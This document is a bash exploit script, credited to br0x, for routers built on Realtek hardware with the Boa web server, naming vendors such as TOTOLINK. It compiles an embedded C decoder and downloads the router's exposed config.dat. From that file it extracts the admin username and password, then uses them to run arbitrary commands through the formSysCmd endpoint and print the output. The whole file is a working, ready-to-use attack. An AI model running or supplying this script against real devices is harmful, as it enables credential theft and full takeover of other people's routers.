#!/bin/bash


if [ "$#" -ne 1 ] && [ "$#" -ne 2  ]; then
    echo "Routers backed by Realtek hardware with Boa HTTP server and using apmib library for flash management."
    echo "Identitifed vulnerable vendors: Multiple vendors, e.g. TOTOLINK, CIK Telecom, Sapido Fibergate Inc., MAX-C300N, T-BROAD and possibly others.."
    echo ""
    echo "Credits: br0x | https://sploit.tech"
    echo ""
    echo "Usage: "
    echo "Password : $0 URL"    
    echo "Code exec: $0 URL 'cmd to execute'"
    exit 1
fi

if [ ! -f decode ]; then
    echo -n "Compiling decoder.."
    cat <<EOF > decode.c
/**
 * Based on apmib.h from:
 * Copyright (C) 2006-2009 OpenWrt.org
 * Original author - David Hsu <davidhsu@realtek.com.tw>
 */

#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <endian.h>

#define N		 4096	/* size of ring buffer */
#define F		   18	/* upper limit for match_length */
#define THRESHOLD	2   /* encode string into position and length if match_length is greater than this */
static unsigned char *text_buf;	/* ring buffer of size N, with extra F-1 bytes to facilitate string comparison */
#define LZSS_TYPE	unsigned short
#define NIL			N	/* index for root of binary search trees */
struct lzss_buffer {
	unsigned char	text_buf[N + F - 1];
	LZSS_TYPE	lson[N + 1];
	LZSS_TYPE	rson[N + 257];
	LZSS_TYPE	dad[N + 1];
};
static LZSS_TYPE		match_position, match_length;  /* of longest match.  These are set by the InsertNode() procedure. */
static LZSS_TYPE		*lson, *rson, *dad;  /* left & right children & parents -- These constitute binary search trees. */


typedef struct compress_mib_header {
	unsigned char signature[6];
	unsigned short compRate;
	unsigned int compLen;
} COMPRESS_MIB_HEADER_T;

#define handle_error(msg) \
           do { perror(msg); exit(EXIT_FAILURE); } while (0)

int Decode(unsigned char *ucInput, unsigned int inLen, unsigned char *ucOutput)	/* Just the reverse of Encode(). */
{
	
	int  i, j, k, r, c;
	unsigned int  flags;
	unsigned int ulPos=0;
	unsigned int ulExpLen=0;

	if ((text_buf = malloc( N + F - 1 )) == 0) {
		//fprintf(stderr, "fail to get mem %s:%d\n", __FUNCTION__, __LINE__);
		return 0;
	}
	
	for (i = 0; i < N - F; i++)
		text_buf[i] = ' ';

        
	r = N - F;
	flags = 0;
	while(1) {
		if (((flags >>= 1) & 256) == 0) {
			c = ucInput[ulPos++];
			if (ulPos>inLen)
				break;
			flags = c | 0xff00;		/* uses higher byte cleverly */
		}							/* to count eight */
		if (flags & 1) {
			c = ucInput[ulPos++];
			if ( ulPos > inLen )
				break;
			ucOutput[ulExpLen++] = c;
			text_buf[r++] = c;
			r &= (N - 1);
		} else {
			i = ucInput[ulPos++];
			if ( ulPos > inLen ) break;
			j = ucInput[ulPos++];
			if ( ulPos > inLen ) break;
			
			i |= ((j & 0xf0) << 4);
			j = (j & 0x0f) + THRESHOLD;
			for (k = 0; k <= j; k++) {
				c = text_buf[(i + k) & (N - 1)];
				ucOutput[ulExpLen++] = c;
				text_buf[r++] = c;
				r &= (N - 1);
			}
		}
	}

	free(text_buf);
	return ulExpLen;

}


void main(int argc, char**argv) {
           char *addr;
           int fd;
           struct stat sb;
           off_t offset, pa_offset;
           size_t length;
           ssize_t s;
           char* filename = "config.dat";

           COMPRESS_MIB_HEADER_T * header;

           if (argc>2) {
             printf("Wrong number of parameters!");
             exit(1);
           }
           if (argc==2) {
             filename=argv[1];
           }
           
           fd = open(filename, O_RDONLY);
           if (fd == -1)
               handle_error("open");

           if (fstat(fd, &sb) == -1)           /* To obtain file size */
               handle_error("fstat");


           addr = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

           header = (COMPRESS_MIB_HEADER_T*)addr;

           
           printf("%u\n", be16toh(header->compRate));
           printf("%u\n", be32toh(header->compLen));
           printf("%u\n", sb.st_size);
           unsigned char *expFile=NULL;
           expFile=calloc(1,be16toh(header->compRate)*be32toh(header->compLen));


           
           unsigned int expandLen = Decode(addr+sizeof(COMPRESS_MIB_HEADER_T), be32toh(header->compLen), expFile);

           printf("%u\n", expandLen);
           printf("%.*s\n",100, expFile);
           fwrite(expFile, 1, expandLen, stdout);
           //flash_read_raw_mib("config.dat");
}
EOF
    gcc -o decode decode.c
    echo "OK"
fi



if [ ! -f config.dat ]; then
    curl "$1/config.dat" -s -m 10 -o config.dat
    if [ ! -f config.dat ]; then
        echo "Could not get the file. Host not available or not vulnerable."
        exit 1
    fi
else
    echo "Using cached file.."
fi

CMD="$(echo "$2" | perl -MURI::Escape -ne "chomp;print uri_escape(\$_),\"\\n\"")"
P=`./decode config.dat  | xxd -p | tr -d '\n' | grep -Po 'b7001f.*?00' | sed 's#00$##g' | sed 's#b7001f##g' | xxd -r -p`
U=`./decode config.dat  | xxd -p | tr -d '\n' | grep -Po 'b6001f.*?00' | sed 's#00$##g' | sed 's#b6001f##g' | xxd -r -p`

echo "User: $U"
echo "Password: $P"

if [ "$#" -eq 2 ]; then 
    echo "Executing command:"

    curl "$1/boafrm/formSysCmd" --user "$U:$P" --data "submit-url=%2Fsyscmd.htm&sysCmdselect=5&sysCmdselects=0&save_apply=Run+Command&sysCmd=$CMD" -s > /dev/null

    OUT="`curl "$1/syscmd.htm" --user "$U:$P" -s | grep -Pzo '(?s)<textarea.*</textarea>' | tr '\0' '\n' | sed -E 's#</?textarea.*>##g'`"
    COUNT=1
    while [ "$OUT" == "" ]; do
        OUT="`curl "$1/syscmd.htm" --user "$U:$P" -s | grep -Pzo '(?s)<textarea.*</textarea>' | tr '\0' '\n' | sed -E 's#</?textarea.*>##g'`"
        COUNT=$(($COUNT+1))
        if [ $COUNT -gt 3 ]; then
            echo "No output for 3 retries."
            exit 0
        fi
    done;
    echo "$OUT"
fi
